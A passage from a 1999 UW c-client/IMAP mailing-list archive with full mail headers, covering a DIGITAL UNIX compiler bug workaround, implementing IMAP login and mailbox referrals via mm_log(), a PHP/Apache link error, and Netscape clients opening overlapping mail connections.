and hack it, however, in order to get your hands on the session log. It required modification of a number of macros, that are used for i/o. I did it, and I find the result quite useful. -- Dmitry Rubinstein From pinedev@shivax2.cac.washington.edu Tue Jun 15 06:22:38 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Tue, 15 Jun 1999 06:22:38 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id GAA06065 for ; Tue, 15 Jun 1999 06:22:37 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id GAA12046; Tue, 15 Jun 1999 06:22:36 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id GAA09988; Tue, 15 Jun 1999 06:21:41 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id GAA46282 for ; Tue, 15 Jun 1999 06:20:54 -0700 Received: from gateway.zk3.dec.com (nashua.zk3-x.dec.com [206.152.163.42]) by mxu1.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with SMTP id GAA31686 for ; Tue, 15 Jun 1999 06:20:54 -0700 Received: by gateway.zk3.dec.com; (5.65v4.0/1.3/10May95) id AA01755; Tue, 15 Jun 1999 09:20:52 -0400 Received: from isletxt1.zk3.dec.com by islet.zk3.dec.com (5.65v4.0/1.1.19.2/15Apr99-0328PM) id AA11599; Tue, 15 Jun 1999 09:20:51 -0400 Message-Id: <053b01beb731$e3af9c90$5d008d10@zk3.dec.com> Date: Tue, 15 Jun 1999 09:20:50 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Peter Derr" To: "Tim Winders" , Subject: Re: 4.4, 4.5 build problems under DU 4.0E References: <376561D9.2BE14B78@SPC.cc.tx.us> Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-Msmail-Priority: Normal X-Mimeole: Produced By Microsoft MimeOLE V5.00.2014.211 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > cc -g3 -O2 -Olimit 1500 -DNFSKLUDGE -c news.c > cc: Error: news.c, line 186: In this statement, "strcpy(...)" and "6" > cannot be > added. (noadd) > lcl = strcpy (name,"#news.") + 6; > ----------^ > make[3]: *** [news.o] Error 1 This is a bug the cc compiler on DIGITAL UNIX V4.0E. The bug was not in V4.0D and was fixed in V4.0F. The simple workaround is to change that line of code to be two lines like this: lcl = strcpy (name,"#news."); lcl += 6; Peter From pinedev@shivax2.cac.washington.edu Tue Jun 15 18:30:55 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Tue, 15 Jun 1999 18:30:55 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id SAA20306 for ; Tue, 15 Jun 1999 18:30:54 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id SAA05540; Tue, 15 Jun 1999 18:30:52 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id SAA07481; Tue, 15 Jun 1999 18:30:01 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id SAA24774 for ; Tue, 15 Jun 1999 18:28:20 -0700 Received: from Mercury.unix.acs.cc.unt.edu (mercury.acs.unt.edu [129.120.220.1]) by mxu4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id SAA28618 for ; Tue, 15 Jun 1999 18:28:18 -0700 Received: from jove.acs.unt.edu (29009@jove.acs.unt.edu [129.120.220.41]) by Mercury.unix.acs.cc.unt.edu (8.8.8/8.8.8) with ESMTP id UAA14440; Tue, 15 Jun 1999 20:28:15 -0500 (CDT) Received: from localhost (kwm@localhost) by jove.acs.unt.edu (8.8.8/8.8.8) with ESMTP id UAA05443; Tue, 15 Jun 1999 20:28:14 -0500 (CDT) Message-Id: Date: Tue, 15 Jun 1999 20:27:35 -0500 (CDT) Reply-To: kwm@unt.edu Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Kevin W. Mullet" To: c-client@u.washington.edu Subject: Setting up UW 4.5 for login referrals and mailbox referrals MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Pmrc: 1 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN How do I do RFC 2221 login referrals and RFC 2193 mailbox referrals in UW 4.5? I get the impression from the "capabilities" output that this is possible. I suspect it might have something to do with "remote names" facility discussed in section III of docs/naming.txt, but I don't see how that can result in RFC2221- or RFC2193-style redirection, unless I'm misreading the RFCs or the UW docs. (entirely possible) Hoping this isn't a "blackbox mode only" thing, -KwM- -- Kevin W. Mullet Network Security and Performance E-Mail: kwm@unt.edu Data Communications Voice: 1.940.565.4742 Computing Center FAX: 1.940.565.4060 University of North Texas TDD: 1.800.735.2989 PO Box 305398 http://www.unt.edu/ Denton, TX 76203-5398 Caveat: Nothing in this message is any entity's official opinion. "Never anthropomorphize computers; they hate that." -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Jun 15 18:37:33 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Tue, 15 Jun 1999 18:37:33 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id SAA20341 for ; Tue, 15 Jun 1999 18:37:32 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id SAA29925; Tue, 15 Jun 1999 18:37:30 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id SAA27875; Tue, 15 Jun 1999 18:36:51 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id SAA32194 for ; Tue, 15 Jun 1999 18:36:21 -0700 Received: from mailhost2.u.washington.edu (mailhost2.u.washington.edu [140.142.33.2]) by mxu2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id SAA18733 for ; Tue, 15 Jun 1999 18:36:20 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (brit@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id SAA13276; Tue, 15 Jun 1999 18:36:01 -0700 Message-Id: Date: Tue, 15 Jun 1999 18:34:57 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: kwm@unt.edu Cc: c-client@u.washington.edu Subject: re: Setting up UW 4.5 for login referrals and mailbox referrals In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN No, it has nothing to do with remote names or blackbox. The way to get referrals is to write code that interfaces with your accounting system and/or message store to do the referrals. From pinedev@shivax2.cac.washington.edu Tue Jun 15 18:59:27 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Tue, 15 Jun 1999 18:59:27 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id SAA20494 for ; Tue, 15 Jun 1999 18:59:26 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id SAA30245; Tue, 15 Jun 1999 18:59:24 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id SAA28424; Tue, 15 Jun 1999 18:58:51 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id SAA40714 for ; Tue, 15 Jun 1999 18:58:18 -0700 Received: from Mercury.unix.acs.cc.unt.edu (mercury.acs.unt.edu [129.120.220.1]) by mxu1.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id SAA04855 for ; Tue, 15 Jun 1999 18:58:13 -0700 Received: from jove.acs.unt.edu (29009@jove.acs.unt.edu [129.120.220.41]) by Mercury.unix.acs.cc.unt.edu (8.8.8/8.8.8) with ESMTP id UAA16459 for ; Tue, 15 Jun 1999 20:58:08 -0500 (CDT) Received: from localhost (kwm@localhost) by jove.acs.unt.edu (8.8.8/8.8.8) with ESMTP id UAA07185 for ; Tue, 15 Jun 1999 20:58:05 -0500 (CDT) Message-Id: Date: Tue, 15 Jun 1999 20:58:05 -0500 (CDT) Reply-To: kwm@unt.edu Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Kevin W. Mullet" To: c-client@u.washington.edu Subject: re: Setting up UW 4.5 for login referrals and mailbox referrals In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Alert: "kwm.net" domain is temporarily down.Watch this space for news about themullets.net. X-Pmrc: 1 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 15 Jun 1999, Mark Crispin wrote: [...] > Subject: re: Setting up UW 4.5 for login referrals and mailbox referrals > > No, it has nothing to do with remote names or blackbox. > > The way to get referrals is to write code that interfaces with your accounting > system and/or message store to do the referrals. Apart from the modularity afforded UW through the c-client API, then, is there anything about UW that makes it more or less able to do login and mailbox referrals than other IMAP servers that don't necessarily do it "out of the box"? Are there specific hooks (could you direct me where?) for supporting these referrals that are the rationale for listing those capabilities in the "capabilities" output? Cheers, -KwM- -- Kevin W. Mullet Network Security and Performance E-Mail: kwm@unt.edu Data Communications Voice: 1.940.565.4742 Computing Center FAX: 1.940.565.4060 University of North Texas TDD: 1.800.735.2989 PO Box 305398 http://people.unt.edu/~kwm/ Denton, TX 76203-5398 Caveat: Nothing in this message is any entity's official opinion. "Never anthropomorphize computers; they hate that." From pinedev@shivax2.cac.washington.edu Tue Jun 15 19:11:14 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Tue, 15 Jun 1999 19:11:14 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id TAA20603 for ; Tue, 15 Jun 1999 19:11:13 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id TAA06123; Tue, 15 Jun 1999 19:11:11 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id TAA08556; Tue, 15 Jun 1999 19:10:33 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id TAA35606 for ; Tue, 15 Jun 1999 19:09:49 -0700 Received: from mailhost2.u.washington.edu (mailhost2.u.washington.edu [140.142.33.2]) by mxu3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id TAA22597 for ; Tue, 15 Jun 1999 19:09:49 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (ccx@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id TAA14274; Tue, 15 Jun 1999 19:09:41 -0700 Message-Id: Date: Tue, 15 Jun 1999 19:04:56 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: kwm@unt.edu Cc: c-client@u.washington.edu Subject: re: Setting up UW 4.5 for login referrals and mailbox referrals In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 15 Jun 1999 20:58:05 -0500 (CDT), Kevin W. Mullet wrote: > Apart from the modularity afforded UW through the c-client API, then, > is there anything about UW that makes it more or less able to do login > and mailbox referrals than other IMAP servers that don't necessarily do > it "out of the box"? I'm not sure that I understand this question. Other servers generally come with their own mail store and account management mechanisms. UW imapd, on the other hand, exports the UNIX filesystem as a mail store and UNIX accounts for account management. It was designed to be easy to hack to interoperate with what you already had, as opposed to making you adjust yourself to fit it. > Are there specific hooks (could you direct me where?) for supporting > these referrals that are the rationale for listing those capabilities > in the "capabilities" output? Yes. Any driver can generate a mailbox referral, and any authenticator (or login module) can generate a login referral. It just needs to do the appropriate mm_log() call. This would be done with no change at all to imapd.c From pinedev@shivax2.cac.washington.edu Tue Jun 15 19:39:03 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Tue, 15 Jun 1999 19:39:03 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id TAA20886 for ; Tue, 15 Jun 1999 19:39:02 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id TAA30850; Tue, 15 Jun 1999 19:38:59 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id TAA25458; Tue, 15 Jun 1999 19:38:11 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id TAA41004 for ; Tue, 15 Jun 1999 19:37:42 -0700 Received: from uxmail.ust.hk (root@uxmail.ust.hk [143.89.14.30]) by mxu1.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id TAA08080 for ; Tue, 15 Jun 1999 19:37:39 -0700 Received: from ccsu11.ust.hk ([143.89.103.7]:43879 "HELO ccsu11" ident: "ccyflai") by uxmail.ust.hk with SMTP id <627506-12782>; Wed, 16 Jun 1999 10:35:10 +0800 Received: by ccsu11 (SMI-8.6//ident-1.0) id KAA17438; Wed, 16 Jun 1999 10:35:07 +0800 Message-Id: <19990616103506.B17359@ust.hk> Date: Wed, 16 Jun 1999 10:35:06 +0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Lai Yiu Fai To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: Setting up UW 4.5 for login referrals and mailbox referrals In-Reply-To: ; from Mark Crispin on Tue, Jun 15, 1999 at 07:04:56PM -0700 References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, Jun 15, 1999 at 07:04:56PM -0700, Mark Crispin wrote: > Other servers generally come with their own mail store and account management > mechanisms. UW imapd, on the other hand, exports the UNIX filesystem as a > mail store and UNIX accounts for account management. It was designed to be > easy to hack to interoperate with what you already had, as opposed to making > you adjust yourself to fit it. > > > Are there specific hooks (could you direct me where?) for supporting > > these referrals that are the rationale for listing those capabilities > > in the "capabilities" output? > > Yes. > > Any driver can generate a mailbox referral, and any authenticator (or login > module) can generate a login referral. It just needs to do the appropriate > mm_log() call. This would be done with no change at all to imapd.c Could you include some sample code in UW IMAP distribution to show how login and mailbox referral are done? I'm more interested on LOGIN referral to distribute users mailbox to different servers. A simple text file for storing mapping of user and mailbox servers should be sufficed to show the programming technique. Rgds, Ken From pinedev@shivax2.cac.washington.edu Tue Jun 15 19:50:31 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Tue, 15 Jun 1999 19:50:31 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id TAA21008 for ; Tue, 15 Jun 1999 19:50:30 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id TAA31039; Tue, 15 Jun 1999 19:50:28 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id TAA29658; Tue, 15 Jun 1999 19:49:50 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id TAA24554 for ; Tue, 15 Jun 1999 19:49:19 -0700 Received: from mailhost2.u.washington.edu (mailhost2.u.washington.edu [140.142.33.2]) by mxu3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id TAA26203 for ; Tue, 15 Jun 1999 19:49:18 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (koda@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id TAA15299; Tue, 15 Jun 1999 19:49:11 -0700 Message-Id: Date: Tue, 15 Jun 1999 19:39:35 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Lai Yiu Fai Cc: c-client@u.washington.edu Subject: Re: Setting up UW 4.5 for login referrals and mailbox referrals In-Reply-To: <19990616103506.B17359@ust.hk> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 16 Jun 1999 10:35:06 +0800, Lai Yiu Fai wrote: > Could you include some sample code in UW IMAP distribution to show how login > and mailbox referral are done? I'm more interested on LOGIN referral to > distribute users mailbox to different servers. A simple text file for > storing mapping of user and mailbox servers should be sufficed to show the > programming technique. I'll see what I can do; but I'm rather swamped right now, so I can't promise anything soon. In the simplest example, all you need to do for a login referral is edit the ckp_???.c (if you want to reject the login) or log_???.c (if you want to allow the login) file to consult your referral file, and then generate an mm_log() message with errflg NIL to issue a referral (but still allow login) or ERROR (deny login). The text of the mm_log() string should be in the form of a login referral as described in the RFC. From pinedev@shivax2.cac.washington.edu Wed Jun 16 09:22:42 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Wed, 16 Jun 1999 09:22:42 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id JAA07989 for ; Wed, 16 Jun 1999 09:22:41 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id JAA20580; Wed, 16 Jun 1999 09:22:39 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id JAA11601; Wed, 16 Jun 1999 09:21:56 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id JAA45688 for ; Wed, 16 Jun 1999 09:20:54 -0700 Received: from barney.spc.cc.tx.us (barney.spc.cc.tx.us [206.76.17.2]) by mxu2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id JAA15468 for ; Wed, 16 Jun 1999 09:20:52 -0700 Received: from SPC.cc.tx.us (sup2.spc.cc.tx.us [206.76.22.14]) by barney.spc.cc.tx.us (8.9.3/8.9.3) with ESMTP id LAA20315; Wed, 16 Jun 1999 11:21:20 -0500 (CDT) Message-Id: <3767CF0E.F0B7FDC8@SPC.cc.tx.us> Date: Wed, 16 Jun 1999 11:21:34 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Tim Winders To: imp@horde.org, php3@lists.php.net Cc: c-client@u.washington.edu Subject: PHP with IMAP. Can't compile Apache References: <3767C72D.32859EDB@neptuno.uevora.pt> <19990616115702.A29660@wso.williams.edu> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I am not sure where to direct this, sorry for the cross-post. I am running Digital Unix 4.0E I am trying to compile PHP with IMAP support. I have tried WU-IMAP 4.4, 4.5, 4.6-BETA with the same results. I was using the 4.0E C compiler (v5.8-009) but, I have contacted DEC and updated the C compiler on my system to be DEC C V6.1-005 with the same result. I can successfully build PHP 3.09 with this command: ./configure \ --with-apache=../apache_1.3.6 \ --with-mysql=/usr/local/mysql \ --with-imap=/local/users/twinders/work/imap-4.6.BETA \ --enable-tracking-vars=yes make and make install work fine. I configure Apache 1.3.6 as such: ./configure \ --with-layout=Apache \ --enable-module=most \ --activate-module=src/modules/php3/libphp3.a \ --activate-module=src/modules/auth_mysql/libauth_mysql.a \ But, when I make apache, it always dies here: cc -I/usr/local/mysql/include -DOSF1 -DUSE_HSREGEX `./apaci` \ -o httpd buildmark.o modules.o modules/proxy/libproxy.a modules/php3/libph p3.a modules/auth_mysql/libauth_mysql.a modules/standard/libstandard.a main/libm ain.a ./os/unix/libos.a ap/libap.a regex/libregex.a -L/usr/local/mysql/lib -lmy sqlclient -Lmodules/php3 -L../modules/php3 -L../../modules/php3 -lmodphp3 -lpc re -Wl,-rpath,/usr/local/mysql/lib -L/usr/local/mysql/lib -lmysqlclien t -L/local/users/twinders/work/imap-4.6.BETA/lib /local/users/twin ders/work/imap-4.6.BETA/lib/c-client.a -lm -lresolv -lm -lgdbm ld: Unresolved: setluid make[2]: *** [target_static] Error 1 make[2]: Leaving directory `/local/users/twinders/work/apache_1.3.6/src' make[1]: *** [build-std] Error 2 make[1]: Leaving directory `/local/users/twinders/work/apache_1.3.6' make: *** [build] Error 2 If I build PHP without IMAP support, apache builds just fine. I have tried to remove the mod auth mysql from the configure and the apache make still dies the same way when I have IMAP configured in PHP. I am stuck. Does anybody have any suggestions on what else I can do to get this working? Thanks... -- === Tim ------------------------------------------------------------------------- | Tim Winders, CNE, MCSE | Email: Tim.Winders@SPC.cc.tx.us | | Network Administrator | Phone: 806-894-9611 x 2369 | | South Plains College | Fax: 806-897-4711 | | Levelland, TX 79336 | | ------------------------------------------------------------------------- From pinedev@shivax2.cac.washington.edu Mon Jun 21 12:56:45 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Mon, 21 Jun 1999 12:56:45 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id MAA07270 for ; Mon, 21 Jun 1999 12:56:44 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id MAA14233; Mon, 21 Jun 1999 12:56:42 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id MAA05967; Mon, 21 Jun 1999 12:55:22 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id MAA46370 for ; Mon, 21 Jun 1999 12:53:41 -0700 Received: from mail.aerotek.com (mail.aerotek.com [204.176.123.139]) by mxu1.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id MAA17919 for ; Mon, 21 Jun 1999 12:53:40 -0700 Received: from smtp4.aerotek.com ([204.176.123.158]) by mail.aerotek.com (Netscape Messaging Server 3.6) with ESMTP id AAA4C03; Mon, 21 Jun 1999 15:56:06 -0400 Received: from aerotek.com (localhost [127.0.0.1]) by smtp4.aerotek.com (8.9.1/8.9.1) with ESMTP id PAA17394; Mon, 21 Jun 1999 15:55:39 -0400 (EDT) Message-Id: <376E97E0.B3C39661@aerotek.com> Date: Mon, 21 Jun 1999 15:52:00 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Jeff Clowser To: "Rubinstein, Dmitry" Cc: c-client@u.washington.edu Subject: Re: reappearing messages References: <5C5BA40F28F1D211AAE200105A057CB0210F94@GOOFY_EX.QUANTUM.icomverse.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Sender: jclowser@aerotek.com X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > > The implication here is that there are multiple sessions to the single > > mailbox. However, this has been known to happen when we KNOW no other > > systems are accessing the mailbox. So unless Messenger is > > opening multiple > > sessions (as Dimitri(?) suggested in another response), I > > don't believe > > this to be happening. > > Messenger has been sighted opening a connection while a previous one was > still active. As for the exact circumstances, that cause this situation, > someone with @netscape.com in his e-mail will probably be able to answer. This is from memory - happened a long, long time ago, in a data center far, far away - but I think most of the following is pretty accurate based on what I ran into: Ran into this with POP and Navigator 3.x. I'm pretty sure Communicator 4.x has the same issue, and the issue happens with both pop and imap. Basically, it opened a connection to download messages, etc. It opened a separate connection to check for new mail. If both connections open at the same time or overlap, bad things can happen (i.e the other connection, depending on the server, can break a connection, make it read only, etc.) If I remember correctly way back when, one version of POP from the Washington IMAP package would deny any new connections until the first closed. This caused problems if the frist connect didn't close because the client crashed or such, causing the mailbox to be locked for 15 minutes or so. The next version of IMAP from washington changed behavior to kick off the old connection in favor of the new. Kept mailboxes from being locked, but every time Navigator (Communicator wasn't around then) checked for new mail, it would kill any mail downloads in progress - particularly bad if you had lots of mail and a slow connection, such as dialup. The "solution" was to either turn off checking for new mail, or make it happen less often so the chances of a collision between the 2 connections was less likely. -- Jeff Clowser mailto:jclowser@aerotek.com Hanover MD 21076 USA Phone: (410)-579-4328 7312 Parkway Drive From pinedev@shivax2.cac.washington.edu Tue Jun 22 05:39:52 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Tue, 22 Jun 1999 05:39:51 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id FAA22911 for ; Tue, 22 Jun 1999 05:39:50 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id FAA32329; Tue, 22 Jun 1999 05:39:49 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id FAA01553; Tue, 22 Jun 1999 05:39:01 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id FAA49312 for ; Tue, 22 Jun 1999 05:38:06 -0700 Received: from mailhub1.liv.ac.uk (mailhub1.liv.ac.uk [138.253.100.94]) by mxu4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.06) with ESMTP id FAA07192 for ; Tue, 22 Jun 1999 05:38:05 -0700 Received: from uxb.liv.ac.uk ([138.253.100.101]) by mailhub1.liv.ac.uk with esmtp (Exim 2.12 #1) id 